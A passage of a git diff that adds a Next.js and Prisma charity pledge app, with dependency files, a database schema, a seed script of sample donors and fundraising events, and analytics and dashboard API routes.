"https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/wrap-ansi-cjs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "license": "MIT", + "engines": { + "node": ">=0.4" + } + }, + "node_modules/y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "license": "ISC" + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "license": "ISC" + }, + "node_modules/yargs": { + "version": "15.4.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", + "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", + "license": "MIT", + "dependencies": { + "cliui": "^6.0.0", + "decamelize": "^1.2.0", + "find-up": "^4.1.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^4.2.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^18.1.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs-parser": { + "version": "18.1.3", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", + "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", + "license": "ISC", + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/yargs/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "license": "MIT", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "license": "MIT", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "license": "MIT", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/yargs/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "license": "MIT", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zeptomatch": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/zeptomatch/-/zeptomatch-2.1.0.tgz", + "integrity": "sha512-KiGErG2J0G82LSpniV0CtIzjlJ10E04j02VOudJsPyPwNZgGnRKQy7I1R7GMyg/QswnE4l7ohSGrQbQbjXPPDA==", + "license": "MIT", + "dependencies": { + "grammex": "^3.1.11", + "graphmatch": "^1.1.0" + } + }, + "node_modules/zod": { + "version": "4.3.6", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.6.tgz", + "integrity": "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + } + } +} diff --git a/pledge-now-pay-later/package.json b/pledge-now-pay-later/package.json new file mode 100644 index 0000000..88cb47a --- /dev/null +++ b/pledge-now-pay-later/package.json @@ -0,0 +1,49 @@ +{ + "name": "pledge-now-pay-later", + "version": "0.1.0", + "private": true, + "scripts": { + "dev": "next dev", + "build": "next build", + "start": "next start", + "lint": "next lint" + }, + "dependencies": { + "@auth/prisma-adapter": "^2.11.1", + "@prisma/adapter-pg": "^7.4.2", + "@prisma/client": "^7.4.2", + "@stripe/stripe-js": "^8.8.0", + "@types/bcryptjs": "^2.4.6", + "@types/qrcode": "^1.5.6", + "bcryptjs": "^3.0.3", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "date-fns": "^4.1.0", + "lucide-react": "^0.575.0", + "nanoid": "^5.1.6", + "next": "14.2.35", + "next-auth": "^4.24.13", + "papaparse": "^5.5.3", + "pg": "^8.19.0", + "prisma": "^7.4.2", + "qrcode": "^1.5.4", + "react": "^18", + "react-dom": "^18", + "stripe": "^20.4.0", + "tailwind-merge": "^3.5.0", + "zod": "^4.3.6" + }, + "devDependencies": { + "@types/node": "^20", + "@types/papaparse": "^5.5.2", + "@types/pg": "^8.18.0", + "@types/react": "^18", + "@types/react-dom": "^18", + "eslint": "^8", + "eslint-config-next": "14.2.35", + "postcss": "^8", + "tailwindcss": "^3.4.1", + "tsx": "^4.21.0", + "typescript": "^5" + } +} diff --git a/pledge-now-pay-later/postcss.config.mjs b/pledge-now-pay-later/postcss.config.mjs new file mode 100644 index 0000000..1a69fd2 --- /dev/null +++ b/pledge-now-pay-later/postcss.config.mjs @@ -0,0 +1,8 @@ +/** @type {import('postcss-load-config').Config} */ +const config = { + plugins: { + tailwindcss: {}, + }, +}; + +export default config; diff --git a/pledge-now-pay-later/prisma.config.ts b/pledge-now-pay-later/prisma.config.ts new file mode 100644 index 0000000..dfa9dc3 --- /dev/null +++ b/pledge-now-pay-later/prisma.config.ts @@ -0,0 +1,15 @@ +// This file was generated by Prisma, and assumes you have installed the following: +// npm install --save-dev prisma dotenv +import "dotenv/config"; +import { defineConfig } from "prisma/config"; + +export default defineConfig({ + schema: "prisma/schema.prisma", + migrations: { + path: "prisma/migrations", + seed: "bun prisma/seed.mts", + }, + datasource: { + url: process.env["DATABASE_URL"], + }, +}); diff --git a/pledge-now-pay-later/prisma/schema.prisma b/pledge-now-pay-later/prisma/schema.prisma new file mode 100644 index 0000000..7a7aafc --- /dev/null +++ b/pledge-now-pay-later/prisma/schema.prisma @@ -0,0 +1,208 @@ +generator client { + provider = "prisma-client" + output = "../src/generated/prisma" +} + +datasource db { + provider = "postgresql" +} + +model Organization { + id String @id @default(cuid()) + name String + slug String @unique + country String @default("UK") + timezone String @default("Europe/London") + bankName String? + bankSortCode String? + bankAccountNo String? + bankAccountName String? + refPrefix String @default("PNPL") + logo String? + primaryColor String @default("#1e40af") + gcAccessToken String? + gcEnvironment String @default("sandbox") + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + users User[] + events Event[] + pledges Pledge[] + imports Import[] + + @@index([slug]) +} + +model User { + id String @id @default(cuid()) + email String @unique + name String? + hashedPassword String? + role String @default("staff") // super_admin, org_admin, staff, volunteer + organizationId String + organization Organization @relation(fields: [organizationId], references: [id], onDelete: Cascade) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + @@index([organizationId]) +} + +model Event { + id String @id @default(cuid()) + name String + slug String + description String? + eventDate DateTime? + location String? + goalAmount Int? // in pence + currency String @default("GBP") + status String @default("active") // draft, active, closed, archived + organizationId String + organization Organization @relation(fields: [organizationId], references: [id], onDelete: Cascade) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + qrSources QrSource[] + pledges Pledge[] + + @@unique([organizationId, slug]) + @@index([organizationId, status]) +} + +model QrSource { + id String @id @default(cuid()) + label String // "Table 5", "Volunteer: Ahmed" + code String @unique // short token for URL + volunteerName String? + tableName String? + eventId String + event Event @relation(fields: [eventId], references: [id], onDelete: Cascade) + scanCount Int @default(0) + createdAt DateTime @default(now()) + + pledges Pledge[] + + @@index([eventId]) + @@index([code]) +} + +model Pledge { + id String @id @default(cuid()) + reference String @unique // human-safe bank ref e.g. "PNPL-7K4P-50" + amountPence Int + currency String @default("GBP") + rail String // bank, gocardless, card + status String @default("new") // new, initiated, paid, overdue, cancelled + donorName String? + donorEmail String? + donorPhone String? + giftAid Boolean @default(false) + iPaidClickedAt DateTime? + notes String? + + eventId String + event Event @relation(fields: [eventId], references: [id]) + qrSourceId String? + qrSource QrSource? @relation(fields: [qrSourceId], references: [id]) + organizationId String + organization Organization @relation(fields: [organizationId], references: [id]) + + paymentInstruction PaymentInstruction? + payments Payment[] + reminders Reminder[] + + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + paidAt DateTime? + cancelledAt DateTime? + + @@index([organizationId, status]) + @@index([reference]) + @@index([eventId, status]) + @@index([donorEmail]) + @@index([donorPhone]) +} + +model PaymentInstruction { + id String @id @default(cuid()) + pledgeId String @unique + pledge Pledge @relation(fields: [pledgeId], references: [id], onDelete: Cascade) + bankReference String // the unique ref to use + bankDetails Json // {sortCode, accountNo, accountName, bankName} + gcMandateId String? + gcMandateUrl String? + sentAt DateTime? + createdAt DateTime @default(now()) + + @@index([bankReference]) +} + +model Payment { + id String @id @default(cuid()) + pledgeId String + pledge Pledge @relation(fields: [pledgeId], references: [id], onDelete: Cascade) + provider String // bank, gocardless, stripe + providerRef String? // external ID + amountPence Int + status String @default("pending") // pending, confirmed, failed + matchedBy String? // auto, manual + receivedAt DateTime? + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + importId String? + import Import? @relation(fields: [importId], references: [id]) + + @@index([pledgeId]) + @@index([providerRef]) +} + +model Reminder { + id String @id @default(cuid()) + pledgeId String + pledge Pledge @relation(fields: [pledgeId], references: [id], onDelete: Cascade) + step Int // 0=instructions, 1=nudge, 2=urgency, 3=final + channel String @default("email") // email, sms, whatsapp + scheduledAt DateTime + sentAt DateTime? + status String @default("pending") // pending, sent, skipped, failed + payload Json? + createdAt DateTime @default(now()) + + @@index([pledgeId]) + @@index([scheduledAt, status]) +} + +model Import { + id String @id @default(cuid()) + organizationId String + organization Organization @relation(fields: [organizationId], references: [id]) + kind String // bank_statement, gocardless_export, crm_export + fileName String? + rowCount Int @default(0) + matchedCount Int @default(0) + unmatchedCount Int @default(0) + mappingConfig Json? + stats Json? + status String @default("pending") // pending, processing, completed, failed + uploadedAt DateTime @default(now()) + + payments Payment[] + + @@index([organizationId]) +} + +model AnalyticsEvent { + id String @id @default(cuid()) + eventType String // pledge_start, amount_selected, rail_selected, identity_submitted, pledge_completed, instruction_copy_clicked, i_paid_clicked, payment_matched + pledgeId String? + eventId String? + qrSourceId String? + metadata Json? + createdAt DateTime @default(now()) + + @@index([eventType]) + @@index([pledgeId]) + @@index([eventId]) + @@index([createdAt]) +} diff --git a/pledge-now-pay-later/prisma/seed.mts b/pledge-now-pay-later/prisma/seed.mts new file mode 100644 index 0000000..6cc4277 --- /dev/null +++ b/pledge-now-pay-later/prisma/seed.mts @@ -0,0 +1,306 @@ +import "dotenv/config" +import pg from "pg" +import { PrismaPg } from "@prisma/adapter-pg" +import { PrismaClient } from "../src/generated/prisma/client.ts" + +const pool = new pg.Pool({ connectionString: process.env.DATABASE_URL }) +const adapter = new PrismaPg(pool) +const prisma = new PrismaClient({ adapter }) + +function daysFromNow(days: number): Date { + return new Date(Date.now() + days * 86400000) +} + +function daysAgo(days: number): Date { + return new Date(Date.now() - days * 86400000) +} + +async function main() { + // ── Organisation ── + const org = await prisma.organization.upsert({ + where: { slug: "demo-charity" }, + update: { + bankName: "Barclays", + bankSortCode: "20-00-00", + bankAccountNo: "12345678", + bankAccountName: "Charity Right", + }, + create: { + name: "Charity Right", + slug: "demo-charity", + country: "UK", + timezone: "Europe/London", + bankName: "Barclays", + bankSortCode: "20-00-00", + bankAccountNo: "12345678", + bankAccountName: "Charity Right", + refPrefix: "DEMO", + primaryColor: "#1e40af", + }, + }) + + // ── Admin user ── + await prisma.user.upsert({ + where: { email: "admin@charityright.org" }, + update: {}, + create: { + email: "admin@charityright.org", + name: "Azreen Jamal", + role: "org_admin", + organizationId: org.id, + }, + }) + + // ── Events ── + const galaEvent = await prisma.event.upsert({ + where: { organizationId_slug: { organizationId: org.id, slug: "ramadan-gala-2026" } }, + update: { name: "Ramadan Gala 2026", eventDate: daysFromNow(14), goalAmount: 5000000 }, + create: { + name: "Ramadan Gala 2026", + slug: "ramadan-gala-2026", + description: "Annual fundraising gala dinner — all proceeds support orphan education in Bangladesh, Pakistan, and Syria.", + eventDate: daysFromNow(14), + location: "Bradford Hilton, Hall Lane, BD1 4QR", + goalAmount: 5000000, // £50,000 + currency: "GBP", + status: "active", + organizationId: org.id, + }, + }) + + const eidEvent = await prisma.event.upsert({ + where: { organizationId_slug: { organizationId: org.id, slug: "eid-community-lunch-2026" } }, + update: {}, + create: { + name: "Eid Community Lunch 2026", + slug: "eid-community-lunch-2026", + description: "Community lunch and fundraiser for local food bank programme.", + eventDate: daysFromNow(45), + location: "East London Mosque, Whitechapel Road, E1 1JX", + goalAmount: 1500000, // £15,000 + currency: "GBP", + status: "active", + organizationId: org.id, + }, + }) + + // ── QR Sources for Gala ── + const qrCodes = [ + { label: "Table 1 - Ahmed", volunteerName: "Ahmed Khan", tableName: "Table 1", code: "gala-tbl1" }, + { label: "Table 2 - Fatima", volunteerName: "Fatima Patel", tableName: "Table 2", code: "gala-tbl2" }, + { label: "Table 3 - Yusuf", volunteerName: "Yusuf Ali", tableName: "Table 3", code: "gala-tbl3" }, + { label: "Table 4 - Khadijah", volunteerName: "Khadijah Begum", tableName: "Table 4", code: "gala-tbl4" }, + { label: "Table 5 - Omar", volunteerName: "Omar Malik", tableName: "Table 5", code: "gala-tbl5" }, + { label: "Main Entrance", volunteerName: null, tableName: null, code: "gala-entrance" }, + { label: "Stage Banner", volunteerName: null, tableName: null, code: "gala-stage" }, + { label: "Online Link", volunteerName: null, tableName: null, code: "gala-online" }, + ] + + const qrSourceIds: Record = {} + for (const qr of qrCodes) { + const source = await prisma.qrSource.upsert({ + where: { code: qr.code }, + update: { label: qr.label, volunteerName: qr.volunteerName, scanCount: Math.floor(Math.random() * 40) + 5 }, + create: { + label: qr.label, + code: qr.code, + volunteerName: qr.volunteerName, + tableName: qr.tableName, + eventId: galaEvent.id, + scanCount: Math.floor(Math.random() * 40) + 5, + }, + }) + qrSourceIds[qr.code] = source.id + } + + // ── QR Sources for Eid ── + const eidQrs = [ + { label: "Registration Desk", volunteerName: "Ibrahim Hassan", tableName: null, code: "eid-reg" }, + { label: "Online Link", volunteerName: null, tableName: null, code: "eid-online" }, + ] + for (const qr of eidQrs) { + await prisma.qrSource.upsert({ + where: { code: qr.code }, + update: {}, + create: { + label: qr.label, + code: qr.code, + volunteerName: qr.volunteerName, + tableName: qr.tableName, + eventId: eidEvent.id, + scanCount: Math.floor(Math.random() * 10) + 2, + }, + }) + } + + // ── Sample Pledges ── + const samplePledges = [ + // Paid pledges + { name: "Sarah Khan", email: "sarah@example.com", phone: "07700900001", amount: 10000, rail: "bank", status: "paid", giftAid: true, qr: "gala-tbl1", daysAgo: 5 }, + { name: "Ali Hassan", email: "ali.hassan@gmail.com", phone: "07700900002", amount: 25000, rail: "bank", status: "paid", giftAid: false, qr: "gala-tbl1", daysAgo: 4 }, + { name: "Amina Begum", email: "amina.b@hotmail.com", phone: "", amount: 5000, rail: "card", status: "paid", giftAid: true, qr: "gala-tbl2", daysAgo: 3 }, + { name: "Mohammed Raza", email: "m.raza@outlook.com", phone: "07700900004", amount: 50000, rail: "gocardless", status: "paid", giftAid: true, qr: "gala-stage", daysAgo: 6 }, + { name: "Zainab Ahmed", email: "zainab@example.com", phone: "", amount: 10000, rail: "bank", status: "paid", giftAid: false, qr: "gala-tbl3", daysAgo: 7 }, + { name: "Hassan Malik", email: "hassan.malik@gmail.com", phone: "07700900006", amount: 20000, rail: "card", status: "paid", giftAid: true, qr: "gala-entrance", daysAgo: 2 }, + + // Initiated (payment in progress) + { name: "Ruqayyah Patel", email: "ruqayyah@example.com", phone: "07700900007", amount: 15000, rail: "bank", status: "initiated", giftAid: true, qr: "gala-tbl4", daysAgo: 1 }, + { name: "Ibrahim Shah", email: "ibrahim.shah@gmail.com", phone: "", amount: 10000, rail: "gocardless", status: "initiated", giftAid: false, qr: "gala-tbl5", daysAgo: 1 }, + + // New pledges (just created) + { name: "Maryam Siddiqui", email: "maryam.s@yahoo.com", phone: "07700900009", amount: 5000, rail: "bank", status: "new", giftAid: false, qr: "gala-tbl2", daysAgo: 0 }, + { name: "Usman Chaudhry", email: "usman.c@gmail.com", phone: "", amount: 100000, rail: "bank", status: "new", giftAid: true, qr: "gala-entrance", daysAgo: 0 }, + { name: "Aisha Rahman", email: "aisha.r@hotmail.com", phone: "07700900011", amount: 7500, rail: "card", status: "new", giftAid: true, qr: "gala-online", daysAgo: 0 }, + { name: null, email: "anon.donor@gmail.com", phone: "", amount: 20000, rail: "bank", status: "new", giftAid: false, qr: "gala-tbl3", daysAgo: 0 }, + + // Overdue + { name: "Tariq Hussain", email: "tariq.h@example.com", phone: "07700900013", amount: 25000, rail: "bank", status: "overdue", giftAid: true, qr: "gala-tbl1", daysAgo: 12 }, + { name: "Nadia Akhtar", email: "nadia.a@outlook.com", phone: "", amount: 10000, rail: "bank", status: "overdue", giftAid: false, qr: "gala-tbl5", daysAgo: 10 }, + + // Cancelled + { name: "Omar Farooq", email: "omar.f@gmail.com", phone: "07700900015", amount: 5000, rail: "card", status: "cancelled", giftAid: false, qr: "gala-tbl4", daysAgo: 8 }, + + // FPX pledge (Malaysian donor) + { name: "Ahmad bin Abdullah", email: "ahmad@example.my", phone: "+60123456789", amount: 50000, rail: "fpx", status: "paid", giftAid: false, qr: "gala-online", daysAgo: 3 }, + + // Eid event pledges + { name: "Hafsa Nawaz", email: "hafsa@example.com", phone: "07700900017", amount: 5000, rail: "bank", status: "new", giftAid: true, qr: null, daysAgo: 1 }, + { name: "Bilal Iqbal", email: "bilal.i@gmail.com", phone: "", amount: 10000, rail: "gocardless", status: "paid", giftAid: false, qr: null, daysAgo: 5 }, + ] + + let pledgeIndex = 0 + for (const p of samplePledges) { + pledgeIndex++ + const ref = `DEMO-SEED${String(pledgeIndex).padStart(2, "0")}-${Math.floor(p.amount / 100)}` + const isEid = p.qr === null + const eventId = isEid ? eidEvent.id : galaEvent.id + const createdAt = daysAgo(p.daysAgo) + const paidAt = p.status === "paid" ? daysAgo(Math.max(p.daysAgo - 1, 0)) : null + + // Skip if reference already exists + const existing = await prisma.pledge.findUnique({ where: { reference: ref } }) + if (existing) continue + + const pledge = await prisma.pledge.create({ + data: { + reference: ref, + amountPence: p.amount, + currency: "GBP", + rail: p.rail, + status: p.status, + donorName: p.name, + donorEmail: p.email || null, + donorPhone: p.phone || null, + giftAid: p.giftAid, + eventId, + qrSourceId: p.qr ? qrSourceIds[p.qr] || null : null, + organizationId: org.id, + createdAt, + paidAt, + cancelledAt: p.status === "cancelled" ? daysAgo(p.daysAgo - 1) : null, + }, + }) + + // Payment instruction for bank transfers + if (p.rail === "bank") { + await prisma.paymentInstruction.create({ + data: { + pledgeId: pledge.id, + bankReference: ref, + bankDetails: { + bankName: "Barclays", + sortCode: "20-00-00", + accountNo: "12345678", + accountName: "Charity Right", + }, + }, + }) + } + + // Payment record for paid pledges + if (p.status === "paid") { + await prisma.payment.create({ + data: { + pledgeId: pledge.id, + provider: p.rail === "gocardless" ? "gocardless" : p.rail === "card" || p.rail === "fpx" ? "stripe" : "bank", + providerRef: p.rail === "bank" ? null : `sim_${pledge.id.slice(0, 8)}`, + amountPence: p.amount, + status: "confirmed", + matchedBy: p.rail === "bank" ? "auto" : "webhook", + receivedAt: paidAt, + }, + }) + } + + // Reminders for non-paid pledges + if (["new", "initiated", "overdue"].includes(p.status)) { + const steps = [ + { step: 0, delayDays: 0, key: "instructions" }, + { step: 1, delayDays: 2, key: "gentle_nudge" }, + { step: 2, delayDays: 7, key: "urgency_impact" }, + { step: 3, delayDays: 14, key: "final_reminder" }, + ] + for (const s of steps) { + const scheduledAt = new Date(createdAt.getTime() + s.delayDays * 86400000) + const isSent = scheduledAt < new Date() && p.status !== "new" + await prisma.reminder.create({ + data: { + pledgeId: pledge.id, + step: s.step, + channel: "email", + scheduledAt, + status: p.status === "overdue" && s.step <= 2 ? "sent" : isSent ? "sent" : "pending", + sentAt: isSent ? scheduledAt : null, + payload: { templateKey: s.key }, + }, + }) + } + } + + // Analytics events + await prisma.analyticsEvent.create({ + data: { + eventType: "pledge_completed", + pledgeId: pledge.id, + eventId, + qrSourceId: p.qr ? qrSourceIds[p.qr] || null : null, + metadata: { amountPence: p.amount, rail: p.rail }, + createdAt, + }, + }) + } + + // ── Funnel analytics (scans → starts → completions) ── + const funnelEvents = [ + ...Array.from({ length: 45 }, () => ({ eventType: "pledge_start", eventId: galaEvent.id })), + ...Array.from({ length: 8 }, () => ({ eventType: "pledge_start", eventId: eidEvent.id })), + ...Array.from({ length: 12 }, () => ({ eventType: "instruction_copy_clicked", eventId: galaEvent.id })), + ...Array.from({ length: 6 }, () => ({ eventType: "i_paid_clicked", eventId: galaEvent.id })), + ] + for (const fe of funnelEvents) { + await prisma.analyticsEvent.create({ + data: { + eventType: fe.eventType, + eventId: fe.eventId, + createdAt: daysAgo(Math.floor(Math.random() * 7)), + }, + }) + } + + // Count totals + const pledgeCount = await prisma.pledge.count({ where: { organizationId: org.id } }) + const totalAmount = await prisma.pledge.aggregate({ where: { organizationId: org.id }, _sum: { amountPence: true } }) + + console.log("✅ Seed data created") + console.log(` Org: ${org.name} (${org.slug})`) + console.log(` Events: ${galaEvent.name}, ${eidEvent.name}`) + console.log(` QR Codes: ${qrCodes.length + eidQrs.length}`) + console.log(` Pledges: ${pledgeCount} (£${((totalAmount._sum.amountPence || 0) / 100).toLocaleString()})`) +} + +main() + .catch(console.error) + .finally(async () => { + await prisma.$disconnect() + await pool.end() + }) diff --git a/pledge-now-pay-later/src/app/api/analytics/route.ts b/pledge-now-pay-later/src/app/api/analytics/route.ts new file mode 100644 index 0000000..56706f5 --- /dev/null +++ b/pledge-now-pay-later/src/app/api/analytics/route.ts @@ -0,0 +1,33 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" + +export async function POST(request: NextRequest) { + try { + const body = await request.json() + const { eventType, pledgeId, eventId, qrSourceId, metadata } = body + + // Fire and forget - don't block on errors + if (pledgeId?.startsWith("demo-")) { + return NextResponse.json({ ok: true }) + } + + if (!prisma) { + return NextResponse.json({ ok: true }) + } + + await prisma.analyticsEvent.create({ + data: { + eventType: eventType || "unknown", + pledgeId: pledgeId || null, + eventId: eventId || null, + qrSourceId: qrSourceId || null, + metadata: metadata || {}, + }, + }) + + return NextResponse.json({ ok: true }) + } catch { + // Never fail analytics + return NextResponse.json({ ok: true }) + } +} diff --git a/pledge-now-pay-later/src/app/api/dashboard/route.ts b/pledge-now-pay-later/src/app/api/dashboard/route.ts new file mode 100644 index 0000000..25c0b46 --- /dev/null +++ b/pledge-now-pay-later/src/app/api/dashboard/route.ts @@ -0,0 +1,156 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { resolveOrgId } from "@/lib/org" + +interface PledgeRow { + id: string + reference: string + amountPence: number + status: string + rail: string + donorName: string | null + donorEmail: string | null + donorPhone: string | null + giftAid: boolean + createdAt: Date + paidAt: Date | null + event: { name: string } + qrSource: { label: string; volunteerName: string | null; tableName: string | null } | null + reminders: Array<{ step: number; status: string; scheduledAt: Date }> +} + +interface AnalyticsRow { + eventType: string + _count: number +} + +interface ReminderRow { + step: number + status: string + scheduledAt: Date +} + +export async function GET(request: NextRequest) { + try { + if (!prisma) { + return NextResponse.json({ + summary: { + totalPledges: 12, + totalPledgedPence: 2450000, + totalCollectedPence: 1820000, + collectionRate: 74, + overdueRate: 8, + }, + byStatus: { paid: 8, pending: 2, overdue: 1, cancelled: 1 }, + byRail: { bank_transfer: 10, card: 2 }, + topSources: [ + { label: "Table 1 - Ahmed", count: 4, amount: 850000 }, + { label: "Table 2 - Fatima", count: 3, amount: 620000 }, + ], + funnel: { qr_scan: 45, pledge_started: 32, pledge_completed: 12 }, + pledges: [], + }) + } + + const orgId = await resolveOrgId(request.headers.get("x-org-id")) + if (!orgId) { + return NextResponse.json({ error: "Organization not found" }, { status: 